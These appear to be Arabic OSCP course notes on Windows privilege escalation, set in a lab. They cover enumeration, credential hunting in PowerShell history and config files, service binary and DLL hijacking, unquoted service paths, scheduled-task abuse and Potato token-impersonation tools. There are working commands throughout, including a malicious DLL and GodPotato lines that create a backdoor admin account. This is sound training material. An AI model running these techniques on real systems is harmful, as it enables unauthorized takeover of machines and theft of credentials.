Module 14: رفع الامتيازات على Windows

رفع الامتيازات (Privilege Escalation) هو تحويل وصول محدود لحساب مرتفع الصلاحيات — عادةً SYSTEM أو Administrator. الموديول ده بيغطّي ثلاث محاور:

1تعداد البيئة من الداخل — الرؤية الشاملة قبل أي خطوة
2استغلال الخدمات المُهيَّأة بشكل خاطئ (Services, DLLs, Unquoted Paths)
3تقنيات متقدّمة: Scheduled Tasks، Kernel Exploits، SeImpersonatePrivilege

نموذج التحكّم في الوصول بـ Windows

Windows بيعتمد على 4 مكوّنات أساسية للتحكّم في الامتيازات — فهمها ضروري لتحديد مسارات الترقية:

SID
Security Identifiers
كل مستخدم أو مجموعة ليها SID فريد — ما بيتغيّرش حتى لو اتغيّر الاسم. قيم RID المنخفضة = حسابات مدمجة (Everyone, LocalSystem, Built-in Admin).
Token
Access Tokens
بيتنشأ عند تسجيل الدخول — بيحتوي على SID المستخدم، SIDs المجموعات، والامتيازات المعيَّنة. كل عملية بترث Primary Token. Impersonation Tokens بتسمح للـ Threads بالعمل تحت سياق أمان مختلف.
MIC
Mandatory Integrity Control
مستويات نزاهة هرمية من Untrusted للـ System. عملية مش ممكن تعدَّل Objects بمستوى نزاهة أعلى منها — بيمنع تطبيقات الـ Sandbox من التلاعب بمكوّنات النظام.
UAC
User Account Control
حتى الـ Admins بيشتغلوا بـ Filtered Token محدود افتراضياً. الترقية بتطلب نافذة موافقة صريحة. تجاوز الـ UAC أو إيجاد Tokens مُهيَّأة بشكل خاطئ = مسار للترقية.

مستويات النزاهة (Integrity Levels)

UntrustedSandbox appsRID 0x0000LowProtected Mode IEDownloads folderMediumNormal user processesStandard apps← نقطة البدايةHighAdmin elevated appsUAC consent → High← هدف PrivEscSYSTEMKernel, OS servicesLocalSystem processes★ الهدف النهائي→مستوى النزاهة يرتفع من اليسار لليمين ←
عملية بمستوى Medium مش ممكن تعدَّل Object بمستوى High أو System — المسار للـ SYSTEM يمرّ بتجاوز هذه الحواجز

01تعداد البيئة وصيد بيانات الاعتماد

الوعي الظرفي — Situational Awareness

⚠ غلطة شائعة

بعد الحصول على Shell، التسرّع في تشغيل Exploits غلطة كبيرة. المختبرون المحترفون بيتعاملوا مع هذه المرحلة كـ Internal Reconnaissance — الاكتشافات هنا بتحدّد الاستراتيجية الكاملة للترقية.

الأمرما يكشفهما تبحث عنه
whoamiالمستخدم الحالي واسم الجهازهل أنت service account؟ admin?
whoami /groupsالمجموعات الحالية وIntegrity LevelBackup Operators, Remote Desktop Users, Administrators
whoami /privالامتيازات المخصَّصة للمستخدمSeImpersonatePrivilege, SeBackupPrivilege, SeDebugPrivilege
Get-LocalUserكل الحسابات المحليةحسابات بأسماء "admin" = أهداف عالية القيمة
Get-LocalGroupالمجموعات المحلية وأعضاؤهامن في Administrators?
systeminfoنظام التشغيل، الـ Build، المعماريةبيحدّد الـ Exploits المناسبة
ipconfig /allكل الـ Network Adaptersشبكات إضافية قابلة للوصول
route printجدول التوجيهمسارات Lateral Movement
netstat -anoالمنافذ المفتوحة وما بيستمع عليها3389=RDP فعّال، 3306=MySQL، 443=Web
Get-Processالعمليات الجاريةربط العمليات بالمنافذ والتطبيقات المثبَّتة
Get-WmiObject Win32_Serviceكل الخدمات ومساراتهاخدمات خارج مجلدات Windows الافتراضية

صيد بيانات الاعتماد في الملفات

البيانات الحساسة غالبًا بتكون غير محمية — مخزَّنة بلا مبالاة في ملفات نصية وملفات إعداد وملاحظات الاجتماعات. الخطأ البشري بيكون أسهل استغلالاً من ثغرات البرامج.

⚙ سيناريو حقيقي — CLIENTWK220

① البحث عن .kdbx → لا شيء
② فحص إعداد XAMPP → passwords.txt (كلمات مرور افتراضية فقط)
③ البحث في Desktop → asdf.txt = ملاحظات اجتماع بكلمة مرور Steve!
④ Steve = Remote Desktop Users → RDP كـ Steve
⑤ قراءة إعداد MySQL (متاح الآن) → admin123admin123!
⑥ نفس كلمة المرور = Windows credential لـ backupadmin (Admin group)
الدرس: إعادة استخدام كلمات المرور عبر الخدمات شائعة جداً

powershell — credential hunting
# البحث عن KeePass vaults
Get-ChildItem -Path C:\ -Include *.kdbx `
  -Recurse -ErrorAction SilentlyContinue

# البحث في ملفات المستخدم عن بيانات حساسة
Get-ChildItem -Path C:\Users\dave `
  -Include *.txt,*.pdf,*.docx,*.xlsx,*.ini,*.config `
  -Recurse -ErrorAction SilentlyContinue

# قراءة ملف النوتس
type C:\Users\dave\Desktop\asdf.txt

# الانتقال لحساب آخر بعد إيجاد كلمة المرور
runas /user:backupadmin cmd
# → whoami: clientwk220\backupadmin

# البحث عن passwords في ملفات الإعداد
findstr /si "password" C:\*.xml C:\*.ini C:\*.txt 2>nul
findstr /si "password" C:\xampp\*.conf 2>nul

PowerShell كمنجم للمعلومات

المنظمات بتفعَّل PowerShell Transcription وScript Block Logging لاكتشاف الهجمات — لكن هذه السجلات بتلتقط أيضاً كلمات المرور وأسماء الخوادم وأفعال المدراء بشكل غير مقصود.

✓ PSReadLine History — سرّ مهم

Clear-History بتمسح فقط تاريخ الجلسة الحالية — PSReadLine بيخزَّن الأوامر بشكل دائم في ملف منفصل. كتير من المدراء مش عارفين هذا الملف موجود → مصدر غني جداً بالأوامر الحساسة.

powershell — PS artifacts
# إيجاد ملف PSReadLine History
(Get-PSReadlineOption).HistorySavePath
# → C:\Users\dave\AppData\Roaming\Microsoft\Windows\
#     PowerShell\PSReadLine\ConsoleHost_history.txt

# قراءة الـ History
type ConsoleHost_history.txt
# → Set-Secret -Name 'Server02 Admin PW' -Secret 'paperEarMonitor33@'
# → Start-Transcript -Path ...\transcript01.txt

# قراءة الـ Transcript — بيسجَّل كل شيء
type transcript01.txt
# → $password = ConvertTo-SecureString "qwertqwertqwert123!!" -AsPlainText

# استخدام كلمة المرور المُكتشَفة
evil-winrm -i 192.168.50.220 -u daveadmin -p "qwertqwertqwert123!!"

winPEAS — التعداد الآلي

winPEAS (جزء من مشروع PEASS-ng) بيفحص النظام ويبرز النتائج بالألوان حسب الخطورة.

اللونالمعنىالإجراء
🔴 أحمرMisconfiguration خطيرة / escalation vectorفحص فوري
🟡 أصفرمعلومات مثيرة للاهتمامتقييم يدوي
🟢 أخضرالحماية مفعَّلةتوثيق كـ Defense
powershell — winpeas
# تشغيل winPEAS (نقله للهدف أولاً)
.\winPEASany.exe    # لكل المعماريات
.\winPEASx64.exe    # لـ 64-bit فقط

# تصدير الناتج لملف للتحليل
.\winPEASx64.exe > winpeas_output.txt

# البدائل لو winPEAS اتحجب بالـ AV
.\Seatbelt.exe -group=all
.\JAWS-enum.ps1
⚠ حدود الأتمتة

winPEAS فوَّت ملف PSReadLine History والـ Transcript files في السيناريو التجريبي. الأدوات الآلية ممكن تتعطَّل بالـ AV. دايماً تحقَّق يدوياً من النتائج الآلية — False Positives بتحصل. الأتمتة مُسرِّعة، مش بديلة، عن التعداد اليدوي.


02استغلال خدمات Windows

الخدمات (Services) هي عمليات خلفية يتحكّم فيها Service Manager — بتبدأ تلقائياً عند الإقلاع وبتشتغل بدون تفاعل مستخدم. كتير من الخدمات المدمجة بتشتغل كـ LocalSystem — وخدمات الجهات الخارجية غالبًا بتتثبَّت بصلاحيات خاطئة.

01
🔧 Service Binary Hijacking
الكتابة فوق ملف الخدمة التنفيذي لما يكون في Directory بصلاحيات كتابة للمستخدم. عند إعادة تشغيل الخدمة، الكود الخبيث ينفَّذ بامتيازات الخدمة.
02
📦 DLL Hijacking
وضع DLL خبيث في مكان يبحث عنه التطبيق قبل الـ DLL الأصلي — خصوصاً لما التطبيق يحاول يحمَّل DLL غير موجود. الكود ينفَّذ بامتيازات من شغَّل التطبيق.
03
📂 Unquoted Service Paths
لما المسار يحتوي على مسافات وغير مُقتبَس، Windows بيجرَّب كل جزء كـ Executable. لو Directory قابلة للكتابة، binary خبيث بيتشغَّل قبل الأصلي.

Service Binary Hijacking

powershell — binary hijacking
# 1. عَدّ الخدمات الشغّالة ومساراتها
Get-WmiObject Win32_Service | Where-Object {$_.State -eq 'Running'} |
  Select Name,PathName | Format-List

# 2. ابحث عن خدمات خارج مجلدات Windows الافتراضية
# (C:\Windows\, C:\Windows\System32\)
# الخدمات في C:\xampp\, C:\Program Files\CustomApp\ هي الأهداف

# 3. فحص صلاحيات الملف
icacls 'C:\xampp\apache\bin\httpd.exe'
# BUILTIN\Users:(F)  ← Full Control! إشارة خطر

# 4. نسخ احتياطي واستبدال بـ payload
copy httpd.exe httpd_orig.exe
copy C:\Users\dave\evil.exe httpd.exe

# 5. إعادة تشغيل الخدمة (أو انتظار Reboot)
Restart-Service -Name Apache2.4
# إذا لم يكن لديك صلاحية → انتظر Reboot أو استغلّ طريقة أخرى
Stop-Service -Name Apache2.4; Start-Service -Name Apache2.4

DLL Hijacking

DLLs هي مكتبات كود مشتركة بتتحمَّل من التطبيقات وقت التشغيل. Windows بيبحث عنها بترتيب محدَّد.

Windows DLL Search Order (Safe DLL Mode ON)① Application's own directory← أول مكان يُفحَص② System directories (C:\Windows\System32\)③ Windows directory (C:\Windows\)④ Current working directory⑤ Directories listed in PATH environment variable⚡ هدف DLL Hijacking
لو التطبيق يبحث عن DLL غير موجود، الـ Attacker يضع نسخته في Application directory (① )
1
تحديد التطبيق المستهدَف وتتبّع الـ DLL الناقص

استخدام Process Monitor (Procmon) لمراقبة الـ File System Access. بحثاً عن: NAME NOT FOUND لملفات .dll في Application Directory.

2
التأكد من صلاحية الكتابة في Application Directory
powershell
icacls 'C:\Program Files\FileZilla FTP Client'
# BUILTIN\Users:(W)  ← Writable!
3
تجميع DLL خبيث

الـ Payload ينفَّذ في DllMain() عند DLL_PROCESS_ATTACH. مثال: إنشاء حساب Admin جديد أو إطلاق Reverse Shell.

c++ — malicious dll
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        system("cmd /c net user hacker Password1! /add");
        system("cmd /c net localgroup administrators hacker /add");
    }
    return TRUE;
}
4
نسخ الـ DLL بالاسم المتوقَّع وانتظار المستخدم المرتفع

ضع الـ DLL باسم بالظبط زي اللي التطبيق بيدوَّر عليه (مثلاً TextShaping.dll). انتظار مستخدم بامتيازات أعلى يشغَّل التطبيق — Windows بيحمَّل الـ DLL الخبيث ويُنفَّذ الكود بامتيازاته.

Unquoted Service Paths

لما مسار الخدمة يحتوي على مسافات وغير مُقتبَس، Windows بيسوء تفسير نهاية اسم الملف — بيجرَّب كل prefix كـ Executable قبل أن يصل للملف الحقيقي.

المسار: C:\Program Files\Enterprise Apps\Inventory App\svc.exe① C:\Program.exe← Windows يجرَّب أولاً② C:\Program Files\Enterprise.exe← ثانياً③ C:\Program Files\EnterpriseApps\Inventory.exe④ C:\Program Files\Enterprise Apps\Inventory App\svc.exe ← الملف الحقيقي⚡ لو C:\Program Files\Enterprise Apps\ قابلة للكتابة → ضع Inventory.exe هناك وينفَّذ الكود في ③
Windows يجرَّب كل prefix بالترتيب — أول Directory قابلة للكتابة تسمح للـ Attacker بتشغيل كوده
cmd + powershell — unquoted paths
# إيجاد الخدمات ذات المسارات غير المُقتبَسة
wmic service get name,pathname |
  findstr /i /v '"' |
  findstr /i /v 'C:\Windows'

# فحص صلاحيات كل Directory في المسار
icacls "C:\Program Files\Enterprise Apps"
# BUILTIN\Users:(W)  ← قابلة للكتابة!

# نسخ الـ Payload بالاسم الصحيح
copy evil.exe "C:\Program Files\Enterprise Apps\Inventory.exe"

# إعادة تشغيل الخدمة
Start-Service -Name "GammaService"
Restart-Service -Name "GammaService"
# → الكود ينفَّذ كـ LocalSystem
★ مقارنة تقنيات الخدمات الثلاث

Binary Hijacking: الأسهل — تحتاج فقط Write Access لملف الـ EXE.
DLL Hijacking: أخفت — مش بتعدَّل الـ Service EXE نفسه، بتنتظر مستخدم أعلى.
Unquoted Path: لا تعديل مباشر — فقط وضع ملف في Directory.


03Scheduled Tasks · Kernel Exploits · SeImpersonatePrivilege

Scheduled Task Abuse — استغلال المهام المجدوَلة

Task Scheduler بيشغَّل برامج/scripts تلقائياً بناءً على Triggers (إقلاع، تسجيل دخول، وقت محدد، أحداث). ثلاثة أسئلة مفتاحية:

1أي مستخدم بيشغَّل المهمة؟ SYSTEM أو Admin = فرصة للترقية
2إمتى بتشتغل؟ لازم تشتغل في إطار المهمة
3إيه اللي بتنفَّذه؟ هل ممكن نستبدَل أو نعدَّل الملف؟
cmd + powershell — scheduled tasks
# عَدّ كل المهام المجدوَلة
schtasks /query /fo LIST /v | more

# PowerShell — تفاصيل أوفر، مُصفَّى بدون مهام Microsoft
Get-ScheduledTask |
  Where-Object {$_.TaskPath -notlike '\Microsoft*'} |
  Select TaskName, TaskPath, State

# فحص صلاحيات الملف المنفَّذ
icacls C:\Users\dave\cleanup.ps1
# dave:(F)  ← Full Control! المستخدم الحالي يملكه

# استبدال الـ Script بـ payload
copy cleanup.ps1 cleanup_bak.ps1
copy evil.ps1 cleanup.ps1

# انتظار الـ Trigger (مثلاً كل دقيقة)
# → المهمة تشتغل كـ admin → حساب Admin جديد
⚙ سيناريو مثالي

مهمة بتشتغل كل دقيقة، بتنفَّذ script في C:\Users\dave (مجلد المستخدم الحالي)، وبتشتغل كـ Administrator. المختبر بيستبدَل الـ Script بـ Payload خبيث → عند الـ Trigger التالي → ينفَّذ كـ Admin → حساب Admin جديد.

رفع الامتيازات بالاستغلال (Exploit-Based)

01
Application Vulnerabilities
ثغرات في تطبيقات مثبَّتة تسمح بتنفيذ كود. لو التطبيق بيشتغل كـ Admin → ترقية فورية للامتيازات.
02
Kernel Vulnerabilities
تستهدف قلب نظام التشغيل — تمنح امتيازات SYSTEM مباشرة. خطرة: فشل الـ Exploit ممكن يعمل BSOD. اختبر في Lab أولاً دايماً.
03
Abusing Assigned Privileges
بعض حسابات الخدمات لها امتيازات قوية (SeImpersonatePrivilege) لأهداف شرعية — لكنها خطيرة لما الحساب يتعرَّض للاختراق.
powershell — kernel exploit research
# الحصول على معلومات الـ OS للبحث عن ثغرات
systeminfo
# → OS Name, Version, Build Number, Hotfix(s)

# مقارنة الـ Hotfixes المثبَّتة بقوائم الـ CVEs
Get-HotFix | Sort-Object InstalledOn -Descending

# أدوات البحث عن Kernel Exploits:
# - Windows Exploit Suggester (offline)
# - WinPEAS (يشير للـ CVEs المحتملة)
# - searchsploit "windows 10 1903 privilege escalation"

SeImpersonatePrivilege — من Service Account لـ SYSTEM

⬦ SeImpersonatePrivilege

بيسمح للعملية بالتصرّف نيابةً عن مستخدم مُوثَّق آخر. مخصَّص افتراضياً لـ: Local Service, Network Service, IIS App Pools, SQL Server. وده هو نقطة الضعف — لو حصلت على Shell كـ service account بسبب ثغرة Web، غالبًا هتلاقي هذا الامتياز.

Web VulnRCE على IISService AccountShell كـ iis apppoolSeImpersonate ✓Named PipeMalicious pipeSYSTEM TokenCoerce privilegedprocess to authSYSTEMImpersonate & Execute★ Full Control
SeImpersonatePrivilege → اصطياد SYSTEM Token → تنفيذ أوامر كـ SYSTEM
powershell + cmd — seimpersonate tools
# التحقق من وجود SeImpersonatePrivilege
whoami /priv
# → SeImpersonatePrivilege  Enabled  ← الهدف!

# PrintSpoofer (Windows 10+)
.\PrintSpoofer64.exe -i -c cmd
.\PrintSpoofer64.exe -c "cmd /c whoami > C:\temp\out.txt"

# GodPotato (Windows Server 2012 → 2022)
.\GodPotato.exe -cmd "cmd /c whoami"
.\GodPotato.exe -cmd "cmd /c net user hacker Pass123! /add && net localgroup administrators hacker /add"

# RoguePotato (بيئات قديمة)
.\RoguePotato.exe -r  -e "cmd /c whoami"

# التحقق من نجاح الـ Shell
whoami  →  nt authority\system
✓ Potato Family — الاختيار الصح

GodPotato: الأحدث والأوسع دعماً (2012-2022). PrintSpoofer: ممتاز لـ Windows 10 ومتاح على أغلب Servers. RoguePotato: للبيئات القديمة. لو خدمة IIS أو SQL Server → فرصة عالية لوجود SeImpersonatePrivilege.


04منهجية الـ Windows PrivEsc الكاملة — 8 خطوات

1
الحصول على Shell الأولي

وصول محدود الامتيازات عبر Client-Side Exploit، Credential Stuffing، أو محاكاة Phishing. المستخدم الأولي عادةً Medium Integrity — هذا هو نقطة البداية.

2
الوعي الظرفي — Situational Awareness

whoami /all، Get-LocalUser، Get-LocalGroup، systeminfo، ipconfig /all، netstat -ano، Get-Process، التطبيقات المثبَّتة. ابنِ صورة كاملة قبل أي استغلال.

3
صيد بيانات الاعتماد — Credential Hunting

البحث في الملفات النصية، ملفات الإعداد (XAMPP, IIS, web.config)، KeePass، PSReadLine History، PowerShell Transcripts. الخطأ البشري أسهل استغلالاً من ثغرات البرامج.

4
تعداد الخدمات — Service Enumeration

WMI query لكل الخدمات الشغّالة ومساراتها. ركَّز على الخدمات خارج C:\Windows\ — خدمات الجهات الخارجية غالبًا بيكون عندها صلاحيات خاطئة.

5
فحص مسارات الخدمات

هل فيه Unquoted Paths بمسافات؟ هل الـ Directories في المسار قابلة للكتابة؟ هل DLL Search Order قابلة للاستغلال؟ استخدم icacls لفحص كل Directory محتملة.

6
فحص المهام المجدوَلة

هل فيه مهام Custom بتشتغل كـ SYSTEM أو Admin؟ هل الـ Executable في مكان قابل للكتابة من المستخدم الحالي؟ schtasks /query /fo LIST /v ثم icacls على الملف المنفَّذ.

7
تشغيل winPEAS

الفحص الآلي — العناصر الحمراء = انتباه فوري. تحقَّق يدوياً من كل نتيجة. winPEAS ممكن تفوَّت أشياء — استخدمها كمكمَّل مش بديل للتعداد اليدوي.

8
البحث والاستغلال

Patches ناقصة → Kernel Exploit (اختبر في Lab أولاً). SeImpersonatePrivilege → Potato Exploits → SYSTEM. فشل كل ما سبق → ارجع للـ Recon أو استغلّ طريق تاني.


Cheat Sheet مرجعي

أوامر Situational Awareness الأساسية

powershell + cmd — quick enum
# الهوية والامتيازات
whoami
whoami /groups
whoami /priv
whoami /all          # كل المعلومات معاً

# المستخدمون والمجموعات
Get-LocalUser
Get-LocalGroup
Get-LocalGroupMember Administrators

# معلومات النظام
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"

# الشبكة
ipconfig /all
route print
netstat -ano

# العمليات والتطبيقات
Get-Process
Get-WmiObject -Class Win32_Product | Select Name,Version

# الخدمات
Get-WmiObject Win32_Service | Select Name,PathName,StartMode,State | Format-List
sc query type= all state= all

بحث بيانات الاعتماد

powershell + cmd — credential hunting
# بحث شامل عن كلمات المرور
findstr /si "password" C:\*.txt C:\*.xml C:\*.ini C:\*.config 2>nul

# ملفات المستخدمين
Get-ChildItem -Path C:\Users -Include *.txt,*.pdf,*.docx,*.xlsx,*.ini -Recurse -EA SilentlyContinue

# KeePass vaults
Get-ChildItem -Path C:\ -Include *.kdbx -Recurse -EA SilentlyContinue

# PSReadLine History
(Get-PSReadlineOption).HistorySavePath
type "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"

# إعدادات XAMPP / IIS / تطبيقات الويب
type C:\xampp\passwords.txt
type C:\xampp\mysql\bin\my.ini
findstr /si "password" C:\inetpub\*.config

تقنيات Service Exploitation — مرجع سريع

التقنيةالشرطالأمر الأساسيمستوى الخطورة
Binary HijackingWrite Access على Service EXEicacls 'C:\path\svc.exe'🔴 حرج
DLL HijackingWrite Access على App Dir + DLL ناقصProcess Monitor لتتبّع DLL loads🟡 عالي
Unquoted Pathمسافات + غير مُقتبَس + Dir قابل للكتابةwmic service get name,pathname | findstr /v '"'🟡 عالي
Scheduled TaskTask يشتغل كـ SYSTEM + Script قابل للتعديلschtasks /query /fo LIST /v🔴 حرج
SeImpersonateSeImpersonatePrivilege مفعَّلwhoami /priv🔴 حرج
Kernel ExploitPatches ناقصةsysteminfo + WES-NG🔴 حرج (خطر BSOD)

Potato Exploits — متى تستخدم أيهم

الأداةنظام التشغيلالاستخدام
GodPotatoWin Server 2012 → 2022 / Win 10الخيار الافتراضي — الأشمل
PrintSpooferWin 10 / Win Server 2016+بديل ممتاز لـ GodPotato
RoguePotatoWin Server 2016 / بيئات قديمةلما GodPotato وPrintSpoofer يفشلوا

Quick Wins — أسرع مسارات للـ SYSTEM

#التحققالأمرالأداة/الاستغلال
1SeImpersonatePrivilege مفعَّل؟whoami /privGodPotato / PrintSpoofer
2خدمة بـ Write Access على EXE؟icacls <path>Service Binary Hijacking
3Scheduled Task بـ Script في مجلد المستخدم؟schtasks /queryاستبدال الـ Script
4Unquoted Path بـ Writable Dir؟wmic service getوضع Malicious EXE
5PSReadLine/Transcript بيحتوي Passwords؟(Get-PSReadlineOption).HistorySavePathإعادة استخدام كلمات المرور
6DLL ناقص في App Directory قابل للكتابة؟Process MonitorDLL Hijacking

الخلاصة العامة للموديول

الموديول ده بنى إطاراً منهجياً لرفع الامتيازات على Windows — من فهم نموذج التحكّم في الوصول، لصيد بيانات الاعتماد المخبأة، لاستغلال إعدادات خاطئة في الخدمات والمهام، وصولاً للامتيازات الكاملة عبر تقنيات الـ Kernel والـ Token Impersonation.

$ cat ./module14_summary.txt

رفع الامتيازات مش حظ — هو منهجية. المختبر الذي يبني صورة كاملة عن البيئة قبل أي استغلال، ويتحقّق من كل مسار محتمل بترتيب من الأسهل للأصعب، هو من يصل للـ SYSTEM بأقل وقت وأقل ضوضاء.

★ Professional Mindset

في الـ Engagement الحقيقي: ابدأ بـ Quick Wins (SeImpersonate أو Credential Files) → لو فشلوا انتقل للخدمات (Binary/Unquoted/DLL) → لو فشلوا جرَّب Scheduled Tasks → كأخير ملاذ Kernel Exploits. وثَّق كل خطوة وكل نتيجة — حتى الفاشلة — لأن الفشل بيرشدك للمسار الصح.


نهاية نوتس الموديول الرابع عشر — OSCP: Windows Privilege Escalation